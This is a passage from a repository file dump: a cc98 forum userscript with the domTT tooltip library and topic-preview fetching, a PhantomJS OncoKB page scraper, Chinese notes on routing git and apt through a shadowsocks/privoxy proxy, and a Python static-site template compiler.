{\r\n\t\t\t\tdomLib_clearTimeout(in_options.get('lifetimeTimeout');\r\n\t\t\t}\r\n\t\t};\r\n\t\t*/\r\n        tipObj.onmouseout = function(in_event)\r\n        {\r\n            if (typeof(in_event) == 'undefined') { in_event = window.event; }\r\n            if (!domLib_isDescendantOf(in_event[domLib_eventTo], tipObj, domTT_bannedTags)) {\r\n                domTT_deactivate(tipOwner.id);\r\n            }\r\n        };\r\n        // NOTE: this might interfere with links in the tip\r\n        tipObj.ondblclick = function(in_event)\r\n        {\r\n            domTT_deactivate(tipOwner.id);\r\n        };\r\n    }\r\n\r\n    if (in_options.get('position') == 'relative')\r\n    {\r\n        tipObj.style.position = 'relative';\r\n    }\r\n\r\n    in_options.set('node', tipObj);\r\n    in_options.set('status', 'inactive');\r\n}\r\n\r\n// }}}\r\n// {{{ domTT_show()\r\n\r\n// in_id is either tip id or the owner id\r\nfunction domTT_show(in_id, in_event)\r\n{\r\n\r\n    // should always find one since this call would be cancelled if tip was killed\r\n    var tooltip = domTT_tooltips.get(in_id);\r\n    var status = tooltip.get('status');\r\n    var tipObj = tooltip.get('node');\r\n\r\n    if (tooltip.get('position') == 'absolute')\r\n    {\r\n        var mouseX, mouseY;\r\n\r\n        if (tooltip.has('x') && tooltip.has('y'))\r\n        {\r\n            mouseX = tooltip.get('x');\r\n            mouseY = tooltip.get('y');\r\n        }\r\n        else if (!domTT_useGlobalMousePosition || domTT_mousePosition == null || status == 'active' || tooltip.get('delay') == 0)\r\n        {\r\n            var eventPosition = domLib_getEventPosition(in_event);\r\n            var eventX = eventPosition.get('x');\r\n            var eventY = eventPosition.get('y');\r\n            if (tooltip.get('inframe'))\r\n            {\r\n                eventX -= eventPosition.get('scrollX');\r\n                eventY -= eventPosition.get('scrollY');\r\n            }\r\n\r\n            // only move tip along requested trail axis when updating position\r\n            if (status == 'active' && tooltip.get('trail') !== true)\r\n            {\r\n                var trail = tooltip.get('trail');\r\n                if (trail == 'x')\r\n                {\r\n                    mouseX = eventX;\r\n                    mouseY = tooltip.get('mouseY');\r\n                }\r\n                else if (trail == 'y')\r\n                {\r\n                    mouseX = tooltip.get('mouseX');\r\n                    mouseY = eventY;\r\n                }\r\n            }\r\n            else\r\n            {\r\n                mouseX = eventX;\r\n                mouseY = eventY;\r\n            }\r\n        }\r\n        else\r\n        {\r\n            mouseX = domTT_mousePosition.get('x');\r\n            mouseY = domTT_mousePosition.get('y');\r\n            if (tooltip.get('inframe'))\r\n            {\r\n                mouseX -= domTT_mousePosition.get('scrollX');\r\n                mouseY -= domTT_mousePosition.get('scrollY');\r\n            }\r\n        }\r\n\r\n        // we are using a grid for updates\r\n        if (tooltip.get('grid'))\r\n        {\r\n            // if this is not a mousemove event or it is a mousemove event on an active tip and\r\n            // the movement is bigger than the grid\r\n            if (in_event.type != 'mousemove' || (status == 'active' && (Math.abs(tooltip.get('lastX') - mouseX) > tooltip.get('grid') || Math.abs(tooltip.get('lastY') - mouseY) > tooltip.get('grid'))))\r\n            {\r\n                tooltip.set('lastX', mouseX);\r\n                tooltip.set('lastY', mouseY);\r\n            }\r\n            // did not satisfy the grid movement requirement\r\n            else\r\n            {\r\n                return false;\r\n            }\r\n        }\r\n\r\n        // mouseX and mouseY store the last acknowleged mouse position,\r\n        // good for trailing on one axis\r\n        tooltip.set('mouseX', mouseX);\r\n        tooltip.set('mouseY', mouseY);\r\n\r\n        var coordinates;\r\n        if (domTT_screenEdgeDetection)\r\n        {\r\n            coordinates = domTT_correctEdgeBleed(\r\n                tooltip.get('offsetWidth'),\r\n                tooltip.get('offsetHeight'),\r\n                mouseX,\r\n                mouseY,\r\n                tooltip.get('offsetX'),\r\n                tooltip.get('offsetY'),\r\n                tooltip.get('mouseOffset'),\r\n                tooltip.get('inframe') ? window.parent : window\r\n            );\r\n        }\r\n        else\r\n        {\r\n            coordinates = {\r\n                'x' : mouseX + tooltip.get('offsetX'),\r\n                'y' : mouseY + tooltip.get('offsetY') + tooltip.get('mouseOffset')\r\n            };\r\n        }\r\n\r\n        // update the position\r\n        tipObj.style.left = coordinates.x + 'px';\r\n        tipObj.style.top = coordinates.y + 'px';\r\n\r\n        // increase the tip zIndex so it goes over previously shown tips\r\n        tipObj.style.zIndex = domLib_zIndex++;\r\n    }\r\n\r\n    // if tip is not active, active it now and check for a fade in\r\n    if (status == 'pending')\r\n    {\r\n        // unhide the tooltip\r\n        tooltip.set('status', 'active');\r\n        tipObj.style.display = '';\r\n        tipObj.style.visibility = 'visible';\r\n\r\n        var fade = tooltip.get('fade');\r\n        if (fade != 'neither')\r\n        {\r\n            var fadeHandler = tooltip.get('fadeHandler');\r\n            if (fade == 'out' || fade == 'both')\r\n            {\r\n                fadeHandler.haltFade();\r\n                if (fade == 'out')\r\n                {\r\n                    fadeHandler.halt();\r\n                }\r\n            }\r\n\r\n            if (fade == 'in' || fade == 'both')\r\n            {\r\n                fadeHandler.fadeIn();\r\n            }\r\n        }\r\n\r\n        if (tooltip.get('type') == 'greasy' && tooltip.get('lifetime') != 0)\r\n        {\r\n            tooltip.set('lifetimeTimeout', domLib_setTimeout(domTT_runDeactivate, tooltip.get('lifetime'), [tipObj.id]));\r\n        }\r\n    }\r\n\r\n    if (tooltip.get('position') == 'absolute' && domTT_detectCollisions)\r\n    {\r\n        // utilize original collision element cache\r\n        domLib_detectCollisions(tipObj, false, true);\r\n    }\r\n}\r\n\r\n// }}}\r\n// {{{ domTT_close()\r\n\r\n// in_handle can either be an child object of the tip, the tip id or the owner id\r\nfunction domTT_close(in_handle)\r\n{\r\n    var id;\r\n    if (typeof(in_handle) == 'object' && in_handle.nodeType)\r\n    {\r\n        var obj = in_handle;\r\n        while (!obj.id || !domTT_tooltips.get(obj.id))\r\n        {\r\n            obj = obj.parentNode;\r\n\r\n            if (obj.nodeType != document.ELEMENT_NODE) { return; }\r\n        }\r\n\r\n        id = obj.id;\r\n    }\r\n    else\r\n    {\r\n        id = in_handle;\r\n    }\r\n\r\n    domTT_deactivate(id);\r\n}\r\n\r\n// }}}\r\n// {{{ domTT_closeAll()\r\n\r\n// run through the tooltips and close them all\r\nfunction domTT_closeAll()\r\n{\r\n    // NOTE: this will iterate 2x # of tooltips\r\n    for (var id in domTT_tooltips.elementData) {\r\n        domTT_close(id);\r\n    }\r\n}\r\n\r\n// }}}\r\n// {{{ domTT_deactivate()\r\n\r\n// in_id is either the tip id or the owner id\r\nfunction domTT_deactivate(in_id)\r\n{\r\n    var tooltip = domTT_tooltips.get(in_id);\r\n    if (tooltip)\r\n    {\r\n        var status = tooltip.get('status');\r\n        if (status == 'pending')\r\n        {\r\n            // cancel the creation of this tip if it is still pending\r\n            domLib_clearTimeout(tooltip.get('activateTimeout'));\r\n            tooltip.set('status', 'inactive');\r\n        }\r\n        else if (status == 'active')\r\n        {\r\n            if (tooltip.get('lifetime'))\r\n            {\r\n                domLib_clearTimeout(tooltip.get('lifetimeTimeout'));\r\n            }\r\n\r\n            var tipObj = tooltip.get('node');\r\n            if (tooltip.get('closeAction') == 'hide')\r\n            {\r\n                var fade = tooltip.get('fade');\r\n                if (fade != 'neither')\r\n                {\r\n                    var fadeHandler = tooltip.get('fadeHandler');\r\n                    if (fade == 'out' || fade == 'both')\r\n                    {\r\n                        fadeHandler.fadeOut();\r\n                    }\r\n                    else\r\n                    {\r\n                        fadeHandler.hide();\r\n                    }\r\n                }\r\n                else\r\n                {\r\n                    tipObj.style.display = 'none';\r\n                }\r\n            }\r\n            else\r\n            {\r\n                tooltip.get('parent').removeChild(tipObj);\r\n                domTT_tooltips.remove(tooltip.get('owner').id);\r\n                domTT_tooltips.remove(tooltip.get('id'));\r\n            }\r\n\r\n            tooltip.set('status', 'inactive');\r\n            if (domTT_detectCollisions) {\r\n                // unhide all of the selects that are owned by this object\r\n                // utilize original collision element cache\r\n                domLib_detectCollisions(tipObj, true, true);\r\n            }\r\n        }\r\n    }\r\n}\r\n\r\n// }}}\r\n// {{{ domTT_mouseout()\r\n\r\nfunction domTT_mouseout(in_owner, in_event)\r\n{\r\n    if (!domLib_useLibrary) { return false; }\r\n\r\n    if (typeof(in_event) == 'undefined') { in_event = window.event;\t}\r\n\r\n    var toChild = domLib_isDescendantOf(in_event[domLib_eventTo], in_owner, domTT_bannedTags);\r\n    var tooltip = domTT_tooltips.get(in_owner.id);\r\n    if (tooltip && (tooltip.get('type') == 'greasy' || tooltip.get('status') != 'active'))\r\n    {\r\n        // deactivate tip if exists and we moved away from the owner\r\n        if (!toChild)\r\n        {\r\n            domTT_deactivate(in_owner.id);\r\n            try { window.status = window.defaultStatus; } catch(e) {}\r\n        }\r\n    }\r\n    else if (!toChild)\r\n    {\r\n        try { window.status = window.defaultStatus; } catch(e) {}\r\n    }\r\n}\r\n\r\n// }}}\r\n// {{{ domTT_mousemove()\r\n\r\nfunction domTT_mousemove(in_owner, in_event)\r\n{\r\n    if (!domLib_useLibrary) { return false; }\r\n\r\n    if (typeof(in_event) == 'undefined') { in_event = window.event;\t}\r\n\r\n    var tooltip = domTT_tooltips.get(in_owner.id);\r\n    if (tooltip && tooltip.get('trail') && tooltip.get('status') == 'active')\r\n    {\r\n        // see if we are trailing lazy\r\n        if (tooltip.get('lazy'))\r\n        {\r\n            domLib_setTimeout(domTT_runShow, domTT_trailDelay, [in_owner.id, in_event]);\r\n        }\r\n        else\r\n        {\r\n            domTT_show(in_owner.id, in_event);\r\n        }\r\n    }\r\n}\r\n\r\n// }}}\r\n// {{{ domTT_addPredefined()\r\n\r\nfunction domTT_addPredefined(in_id)\r\n{\r\n    var options = new Hash();\r\n    for (var i = 1; i < arguments.length; i += 2)\r\n    {\r\n        options.set(arguments[i], arguments[i + 1]);\r\n    }\r\n\r\n    domTT_predefined.set(in_id, options);\r\n}\r\n\r\n// }}}\r\n// {{{ domTT_correctEdgeBleed()\r\n\r\nfunction domTT_correctEdgeBleed(in_width, in_height, in_x, in_y, in_offsetX, in_offsetY, in_mouseOffset, in_window)\r\n{\r\n    var win, doc;\r\n    var bleedRight, bleedBottom;\r\n    var pageHeight, pageWidth, pageYOffset, pageXOffset;\r\n\r\n    var x = in_x + in_offsetX;\r\n    var y = in_y + in_offsetY + in_mouseOffset;\r\n\r\n    win = (typeof(in_window) == 'undefined' ? window : in_window);\r\n\r\n    // Gecko and IE swaps values of clientHeight, clientWidth properties when\r\n    // in standards compliance mode from documentElement to document.body\r\n    doc = ((domLib_standardsMode && (domLib_isIE || domLib_isGecko)) ? win.document.documentElement : win.document.body);\r\n\r\n    // for IE in compliance mode\r\n    if (domLib_isIE)\r\n    {\r\n        pageHeight = doc.clientHeight;\r\n        pageWidth = doc.clientWidth;\r\n        pageYOffset = doc.scrollTop;\r\n        pageXOffset = doc.scrollLeft;\r\n    }\r\n    else\r\n    {\r\n        pageHeight = doc.clientHeight;\r\n        pageWidth = doc.clientWidth;\r\n\r\n        if (domLib_isKHTML)\r\n        {\r\n            pageHeight = win.innerHeight;\r\n        }\r\n\r\n        pageYOffset = win.pageYOffset;\r\n        pageXOffset = win.pageXOffset;\r\n    }\r\n\r\n    // we are bleeding off the right, move tip over to stay on page\r\n    // logic: take x position, add width and subtract from effective page width\r\n    if ((bleedRight = (x - pageXOffset) + in_width - (pageWidth - domTT_screenEdgePadding)) > 0)\r\n    {\r\n        x -= bleedRight;\r\n    }\r\n\r\n    // we are bleeding to the left, move tip over to stay on page\r\n    // if tip doesn't fit, we will go back to bleeding off the right\r\n    // logic: take x position and check if less than edge padding\r\n    if ((x - pageXOffset) < domTT_screenEdgePadding)\r\n    {\r\n        x = domTT_screenEdgePadding + pageXOffset;\r\n    }\r\n\r\n    // if we are bleeding off the bottom, flip to north\r\n    // logic: take y position, add height and subtract from effective page height\r\n    if ((bleedBottom = (y - pageYOffset) + in_height - (pageHeight - domTT_screenEdgePadding)) > 0)\r\n    {\r\n        y = in_y - in_height - in_offsetY;\r\n    }\r\n\r\n    // if we are bleeding off the top, flip to south\r\n    // if tip doesn't fit, we will go back to bleeding off the bottom\r\n    // logic: take y position and check if less than edge padding\r\n    if ((y - pageYOffset) < domTT_screenEdgePadding)\r\n    {\r\n        y = in_y + domTT_mouseHeight + in_offsetY;\r\n    }\r\n\r\n    return {'x' : x, 'y' : y};\r\n}\r\n\r\n// }}}\r\n// {{{ domTT_isActive()\r\n\r\n// in_id is either the tip id or the owner id\r\nfunction domTT_isActive(in_id)\r\n{\r\n    var tooltip = domTT_tooltips.get(in_id);\r\n    if (!tooltip || tooltip.get('status') != 'active')\r\n    {\r\n        return false;\r\n    }\r\n    else\r\n    {\r\n        return true;\r\n    }\r\n}\r\n\r\n// }}}\r\n// {{{ domTT_runXXX()\r\n\r\n// All of these domMenu_runXXX() methods are used by the event handling sections to\r\n// avoid the circular memory leaks caused by inner functions\r\nfunction domTT_runDeactivate(args) { domTT_deactivate(args[0]); }\r\nfunction domTT_runShow(args) { domTT_show(args[0], args[1]); }\r\n\r\n// }}}\r\n// {{{ domTT_replaceTitles()\r\n\r\nfunction domTT_replaceTitles(in_decorator)\r\n{\r\n    var elements = domLib_getElementsByClass('tooltip');\r\n    for (var i = 0; i < elements.length; i++)\r\n    {\r\n        if (elements[i].title)\r\n        {\r\n            var content;\r\n            if (typeof(in_decorator) == 'function')\r\n            {\r\n                content = in_decorator(elements[i]);\r\n            }\r\n            else\r\n            {\r\n                content = elements[i].title;\r\n            }\r\n\r\n            content = content.replace(new RegExp('\\'', 'g'), '\\\\\\'');\r\n            elements[i].onmouseover = new Function('in_event', \"domTT_activate(this, in_event, 'content', '\" + content + \"')\");\r\n            elements[i].title = '';\r\n        }\r\n    }\r\n}\r\n\r\n// }}}\r\n// {{{ domTT_update()\r\n\r\n// Allow authors to update the contents of existing tips using the DOM\r\n// Unfortunately, the tip must already exist, or else no work is done.\r\n// TODO: make getting at content or caption cleaner\r\nfunction domTT_update(handle, content, type)\r\n{\r\n    // type defaults to 'content', can also be 'caption'\r\n    if (typeof(type) == 'undefined')\r\n    {\r\n        type = 'content';\r\n    }\r\n\r\n    var tip = domTT_tooltips.get(handle);\r\n    if (!tip)\r\n    {\r\n        return;\r\n    }\r\n\r\n    var tipObj = tip.get('node');\r\n    var updateNode;\r\n    if (type == 'content')\r\n    {\r\n        // <div class=\"contents\">...\r\n        updateNode = tipObj.firstChild;\r\n        if (updateNode.className != 'contents')\r\n        {\r\n            // <table><tbody><tr>...</tr><tr><td><div class=\"contents\">...\r\n            updateNode = updateNode.firstChild.firstChild.nextSibling.firstChild.firstChild;\r\n        }\r\n    }\r\n    else\r\n    {\r\n        updateNode = tipObj.firstChild;\r\n        if (updateNode.className == 'contents')\r\n        {\r\n            // missing caption\r\n            return;\r\n        }\r\n\r\n        // <table><tbody><tr><td><div class=\"caption\">...\r\n        updateNode = updateNode.firstChild.firstChild.firstChild.firstChild;\r\n    }\r\n\r\n    // TODO: allow for a DOM node as content\r\n    updateNode.innerHTML = content;\r\n}\r\n\r\n// }}}\r\nGM_addStyle(`\r\n/* Default DOM Tooltip Style */\r\ndiv.domTT {\r\nborder: 1px solid #333333;\r\nbackground-color: #333333;\r\nmax-height: 60%;\r\noverflow: auto;\r\n}\r\ndiv.domTT .caption {\r\nfont-family: serif;\r\nfont-size: 12px;\r\nfont-weight: bold;\r\npadding: 1px 2px;\r\ncolor: #FFFFFF;\r\n}\r\ndiv.domTT .contents {\r\nfont-size: 12px;\r\nfont-family: sans-serif;\r\npadding: 3px 2px;\r\nbackground-color: #F1F1FF;\r\nword-break: break-all;\r\nword-wrap: break-word;\r\nwhite-space: pre-line;\r\n}\r\n\r\n/* Classic Style */\r\ndiv.domTTClassic {\r\nborder: 1px solid black;\r\nbackground-color: InfoBackground;\r\n}\r\ndiv.domTTClassic .caption {\r\nfont-family: serif;\r\nfont-size: 13px;\r\n_font-size: 12px;\r\nfont-weight: bold;\r\nfont-style: italic;\r\npadding: 1px 2px;\r\n}\r\ndiv.domTTClassic .contents {\r\ncolor: InfoText;\r\nfont-size: 13px;\r\n_font-size: 12px;\r\nfont-family: Arial, sans-serif;\r\npadding: 1px 2px;\r\n_padding-bottom: 0;\r\n}\r\n\r\n/* Win9x Style */\r\ndiv.domTTWin {\r\nborder: 2px outset #BFBFBF;\r\nbackground-color: #808080\r\n}\r\ndiv.domTTWin .caption {\r\nborder: 0px solid #BFBFBF;\r\nborder-width: 1px 1px 0px 1px;\r\nbackground-color: #00007F;\r\npadding: 2px;\r\nfont-size: 12px;\r\nfont-weight: bold;\r\nfont-family: sans-serif;\r\ncolor: white;\r\n}\r\ndiv.domTTWin .contents {\r\nborder: 1px solid #BFBFBF;\r\n}\r\n\r\n/* Overlib Style */\r\ndiv.domTTOverlib {\r\nborder: 1px solid #333366;\r\nbackground-color: #333366;\r\n}\r\ndiv.domTTOverlib .caption {\r\nfont-family: Verdana, Helvetica;\r\nfont-size: 10px;\r\nfont-weight: bold;\r\ncolor: #FFFFFF;\r\n}\r\ndiv.domTTOverlib .contents {\r\nfont-size: 10px;\r\nfont-family: Verdana, Helvetica;\r\npadding: 2px;\r\nbackground-color: #F1F1FF;\r\n}\r\n\r\n/* Nicetitle Style */\r\ndiv.niceTitle\r\n{\r\nbackground-color: #333333;\r\ncolor: #FFFFFF;\r\nfont-weight: bold;\r\nfont-size: 13px;\r\nfont-family: \"Trebuchet MS\", sans-serif;\r\nwidth: 250px;\r\nleft: 0;\r\ntop: 0;\r\npadding: 4px;\r\nposition: absolute;\r\ntext-align: left;\r\nz-index: 20;\r\n-moz-border-radius: 0 10px 10px 10px;\r\nfilter: progid:DXImageTransform.Microsoft.Alpha(opacity=87);\r\n-moz-opacity: .87;\r\n-khtml-opacity: .87;\r\nopacity: .87;\r\n}\r\ndiv.niceTitle .contents\r\n{\r\nmargin: 0;\r\npadding: 0 3px;\r\nfilter: progid:DXImageTransform.Microsoft.Alpha(opacity=100);\r\n-moz-opacity: 1;\r\n-khtml-opacity: 1;\r\nopacity: 1;\r\n}\r\ndiv.niceTitle p\r\n{\r\ncolor: #D17E62;\r\nfont-size: 9px;\r\npadding: 3px 0 0 0;\r\nmargin: 0;\r\ntext-align: left;\r\n-moz-opacity: 1;\r\n}\r\n\r\n/* Context Menu Style */\r\ndiv.domTTMenu {\r\nwidth: 150px;\r\nborder: 2px outset #E6E6E6;\r\n}\r\ndiv.domTTMenu .caption {\r\nfont-size: 12px;\r\nfont-family: sans-serif;\r\nbackground-color: #E6E6E6;\r\n}\r\ndiv.domTTMenu .contents {\r\npadding: 1px 0;\r\nbackground-color: #E6E6E6;\r\n}\r\n\r\ndiv.domTT .contents img {\r\nmax-width: 100%;\r\n}\r\n\r\n.emotac01, .emotac02, .emotac03, .emotac04, .emotac05, \r\n.emotac06, .emotac07, .emotac08, .emotac09, .emotac10, \r\n.emotac1003, .emotac11, .emotac12, .emotac13, .emotac14, \r\n.emotac15, .emotac16, .emotac17, .emotac18, .emotac19, \r\n.emotac20, .emotac22, .emotac23, .emotac24, .emotac25, \r\n.emotac26, .emotac32, .emotac39, .emotac43, .emotac52\r\n{ max-width: 100%; background-size: 100%; background-image: url('https://file.cc98.org/v2-upload/43yyjnlr.png'); }\r\n \r\n.emotac01 { background-position: 0 0%; background-size: 100%; }\r\n.emotac02 { background-position: 0 3.448276%; background-size: 100%; }\r\n.emotac03 { background-position: 0 6.896552%; background-size: 100%; }\r\n.emotac04 { background-position: 0 10.344828%; background-size: 100%; }\r\n.emotac05 { background-position: 0 13.793103%; background-size: 100%; }\r\n.emotac06 { background-position: 0 17.241379%; background-size: 100%; }\r\n.emotac07 { background-position: 0 20.689655%; background-size: 100%; }\r\n.emotac08 { background-position: 0 24.137931%; background-size: 100%; }\r\n.emotac09 { background-position: 0 27.586207%; background-size: 100%; }\r\n.emotac10 { background-position: 0 31.034483%; background-size: 100%; }\r\n.emotac1003 { background-position: 0 34.482759%; background-size: 100%; }\r\n.emotac11 { background-position: 0 37.931034%; background-size: 100%; }\r\n.emotac12 { background-position: 0 41.37931%; background-size: 100%; }\r\n.emotac13 { background-position: 0 44.827586%; background-size: 100%; }\r\n.emotac14 { background-position: 0 48.275862%; background-size: 100%; }\r\n.emotac15 { background-position: 0 51.724138%; background-size: 100%; }\r\n.emotac16 { background-position: 0 55.172414%; background-size: 100%; }\r\n.emotac17 { background-position: 0 58.62069%; background-size: 100%; }\r\n.emotac18 { background-position: 0 62.068966%; background-size: 100%; }\r\n.emotac19 { background-position: 0 65.517241%; background-size: 100%; }\r\n.emotac20 { background-position: 0 68.965517%; background-size: 100%; }\r\n.emotac22 { background-position: 0 72.413793%; background-size: 100%; }\r\n.emotac23 { background-position: 0 75.862069%; background-size: 100%; }\r\n.emotac24 { background-position: 0 79.310345%; background-size: 100%; }\r\n.emotac25 { background-position: 0 82.758621%; background-size: 100%; }\r\n.emotac26 { background-position: 0 86.206897%; background-size: 100%; }\r\n.emotac32 { background-position: 0 89.655172%; background-size: 100%; }\r\n.emotac39 { background-position: 0 93.103448%; background-size: 100%; }\r\n.emotac43 { background-position: 0 96.551724%; background-size: 100%; }\r\n.emotac52 { background-position: 0 100%; background-size: 100%; }\r\n`);\r\nvar cache_content = {};\r\nvar oldlength = {};\r\nvar oldurl = {};\r\nfunction handletarget(target){\r\n    var focustopictitle = $(target);\r\n    if (focustopictitle.length == oldlength[target] && document.location.href == oldurl[target]){return;}\r\n    $(\"[id^='__autoId']\").each(function(){$(this).removeAttr(\"id\");})\r\n    oldlength[target] = focustopictitle.length;\r\n    oldurl[target] = document.location.href;\r\n    //console.log(\"unbind mouseover \"+target);\r\n    focustopictitle.unbind('mouseover');\r\n    focustopictitle.mouseover(\r\n        function(event){\r\n            var thisx = this;\r\n            var title=$(this).text();\r\n            var topicid;\r\n            if(target==\".focus-topic-title\"||target=='a[href^=\"/topic/\"]'){\r\n                var href=$(this).attr('href');\r\n                topicid = href.split(\"/\")[2];\r\n            }else if(target==\".listTitle\"){\r\n                topicid = $(this).attr('id').replace(\"title\",\"\");\r\n            }else{\r\n                return;\r\n            }\r\n            var content;\r\n            var width=400;\r\n            if(window.innerWidth<420) width = window.innerWidth-20;\r\n            if(window.innerWidth>1000) width=700;\r\n            if(typeof(cache_content[topicid])!='undefined'){\r\n                content = cache_content[topicid];\r\n                domTT_activate(thisx, event, 'content', content, 'trail', false, 'direction', 'southeast', 'clearMouse', true, 'delay', 0, 'maxWidth', width, 'caption', title, 'type', 'velcro', 'draggable', false);\r\n            }else{\r\n                console.log(\"request \"+topicid);\r\n                GM_xmlhttpRequest({method:\"GET\", url:\"https://cc98.tech/topic/\"+topicid+\"/onmouseover\",responseType:\"json\",onload: function (response) {\r\n                    content=JSON.parse(response.responseText).html;\r\n                    cache_content[topicid] = content;\r\n                    domTT_activate(thisx, event, 'content', content, 'trail', false, 'direction', 'southeast', 'clearMouse', true, 'delay', 0, 'maxWidth', width, 'caption', title, 'type', 'velcro', 'draggable', false);\r\n                }});\r\n            }\r\n\r\n        }\r\n    );\r\n}\r\nsetInterval(function(){\r\n    handletarget(\".focus-topic-title\");\r\n    handletarget(\".listTitle\");\r\n    if(/message/.test(document.location.href)) handletarget('a[href^=\"/topic/\"]');\r\n},2000);"
  },
  {
    "path": "docs/code/spider.oncokb.js",
    "content": "var system = require('system');\r\nvar NAME=system.args[1];\r\nvar page = require('webpage').create();\r\nvar fs = require('fs');\r\nvar fp = fs.open(\"output_\"+NAME+\".html\",\"w\");\r\npage.settings.userAgent = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36';\r\npage.viewportSize = { width: 1920, height: 1080 };\r\n\r\nurl=\"http://oncokb.org/#/gene/\"+NAME;\r\n\r\nfunction capture(){\r\n    console.log(\"save...\");\r\n    page.render('output_'+NAME+'.pdf',{format: 'pdf', quality: '100'});\r\n    fp.write(page.content);\r\n    fp.close();\r\n    phantom.exit();\r\n}\r\nfunction timeout(){\r\n    console.log(\"Timeout!\");\r\n    var flog=fs.open(\"tiemout.log\",\"a\");\r\n    flog.write(NAME);\r\n    flog.close();\r\n}\r\npage.onResourceReceived = function(response) {\r\n    //console.log('Receive ' + JSON.stringify(response, undefined, 4));\r\n    //console.log(response.url);\r\n    if(response.url.indexOf(\"http\")==0){\r\n        console.log(response.url);\r\n    }\r\n    if(response.url.indexOf(\"http://www.cbioportal.org/api-legacy/studies\")!=-1){\r\n        console.log(\"ok...\");\r\n        setTimeout(capture,5000);\r\n    }\r\n};\r\npage.open(url);\r\nsetTimeout(timeout,120000);\r\n"
  },
  {
    "path": "docs/code/ssgit.txt",
    "content": "#假设已经开好ss的客户端在127.0.0.1:1080了\r\n\r\necho \"\"\"\r\n#!/bin/bash\r\nnc -x 127.0.0.1:1080 -X5 $*\r\n\"\"\">~/proxy-wrapper\r\n\r\nchmod +x ~/proxy-wrapper\r\n\r\necho \"\"\"\r\nHost github github.com\r\n    Hostname github.com\r\n    User git\r\n    ProxyCommand $HOME/proxy-wrapper '%h %p'\r\n\"\"\">>~/.ssh/config\r\n\r\nchmod 700 ~/.ssh/config\r\n\r\n#现在就可以欢快地高速`git clone`啦~"
  },
  {
    "path": "docs/code/ssprivoxy.txt",
    "content": "#-----------------------\r\n#本代码将安装shadowsocks和privoxy\r\n#执行后再运行的apt-get等操作将通过shadowsocks以提高网络访问速度\r\n#\r\n#适用场景：\r\n#    在优质网络服务器上搭建好ss后 用于 提升国内服务器/自己电脑的网速\r\n#\r\n#PS: 如果您只需要简单开个代理，建议使用tinyproxy\r\n#-----------------------\r\n\r\n#安装shadowsocks，使用豆瓣源\r\nmkdir -p ~/.pip\r\necho \"\"\"\r\n[global]\r\nindex-url = http://pypi.doubanio.com/simple/\r\n[install]\r\ntrusted-host=pypi.doubanio.com\r\n\"\"\">~/.pip/pip.conf\r\npip install shadowsocks\r\n\r\n#在screen中运行sslocal\r\nscreen -S ss\r\nsslocal ... #直接运行有参数说明的，这里就不细说了\r\n\r\n#按下Ctrl+A d，测试一下：\r\ncurl ip.cn --proxy socks5://127.0.0.1:1080\r\n\r\n#安装privoxy：\r\napt-get install -y privoxy\r\necho \"\"\"\r\nuser-manual /usr/share/doc/privoxy/user-manual\r\nconfdir /etc/privoxy\r\nlogdir /var/log/privoxy\r\nactionsfile match-all.action\r\nactionsfile user.action\r\nlogfile logfile\r\ntoggle  1\r\nenable-remote-toggle  0\r\nenable-remote-http-toggle  0\r\nenable-edit-actions 0\r\nenforce-blocks 0\r\nbuffer-limit 4096\r\nenable-proxy-authentication-forwarding 0\r\nforwarded-connect-retries  0\r\naccept-intercepted-requests 0\r\nallow-cgi-request-crunching 0\r\nsplit-large-forms 0\r\nkeep-alive-timeout 5\r\ntolerate-pipelining 1\r\nsocket-timeout 300\r\nlisten-address  127.0.0.1:8118\r\nforward-socks5    /    127.0.0.1:1080 .\r\n\"\"\">/etc/privoxy/config\r\nservice privoxy restart\r\n\r\n#安装好了privoxy就可以修改系统环境变量设置代理啦:\r\nexport http_proxy=\"http://127.0.0.1:8118\"\r\nexport https_proxy=\"http://127.0.0.1:8118\"\r\n\r\n#测试一下：\r\ncurl ip.cn\r\n\r\n#大功告成~"
  },
  {
    "path": "docs/code/staticwebsite_template_compile.py",
    "content": "import os\r\nimport re\r\nfrom bs4 import BeautifulSoup\r\nTEMPLATE_NAMES = [i.replace(\".template.html\",\"\") for i in os.listdir(\".\") if \".template.html\" in i]\r\nTEMPLATE = {}\r\nfor t in TEMPLATE_NAMES:\r\n    TEMPLATE[t] = open(t+\".template.html\", encoding=\"utf-8\").read()\r\n    if t==\"speaker_people\": # for person sort by pic src, example: chen_yan.jpg\r\n        soup = BeautifulSoup(TEMPLATE[t],\"html.parser\")\r\n        data = []\r\n        tmp = []\r\n        for tr in soup.find_all(\"tr\"):\r\n            img = tr.find(\"img\")\r\n            if img is not None:\r\n                if len(tmp):\r\n                    data.append(tmp)\r\n                    tmp=[]\r\n                tmp.append(img[\"src\"])\r\n                tmp.append(tr.find(\"strong\").text)\r\n            else:\r\n                tmp.append(str(tr))\r\n        data.append(tmp)\r\n        speaker_people = \"\"\r\n        for person in sorted(data):\r\n            speaker_people += \"\"\"<tr align=\"left\"><th rowspan=\"2\"><div align=\"center\">\r\n           <img src=\"%s\" width=\"132\" height=\"180\" /></div></th> \r\n         <td class=\"STYLE13\"><strong>%s</strong></td> </tr> %s\"\"\"%(person[0], person[1], person[2])\r\n        TEMPLATE[t] = speaker_people\r\n        \r\nnavbardata=TEMPLATE[\"navbar\"]\r\n\r\nfor filename in os.listdir(\".\"):\r\n    if \"blade.html\" in filename:\r\n        print(filename)\r\n        targetfile = filename.replace(\".blade\",\"\")\r\n        templatedata = open(filename, \"r\", encoding=\"utf-8\").read()\r\n        newdata = templatedata\r\n        for name in TEMPLATE_NAMES:\r\n            if name==\"navbar\": # navbar class active replace\r\n                TEMPLATE[\"navbar\"] = navbardata.replace(\"\"\"href=\"{}\"s\"\"\".format(targetfile), \"\"\"href=\"{}\" class=\"active\" s\"\"\".format(targetfile))\r\n            newdata = newdata.replace(\"{{\"+name+\"}}\", TEMPLATE[name])\r\n        print(len(newdata))\r\n        newdata = re.sub(\"(<!--(.|\\s|\\n)*?-->)\", \"\", newdata, flags=re.MULTILINE)\r\n        print(len(newdata))\r\n        open(targetfile, \"w\", encoding=\"utf-8\").write(newdata)"
  },
  {
    "path": "docs/code/upyun.py",
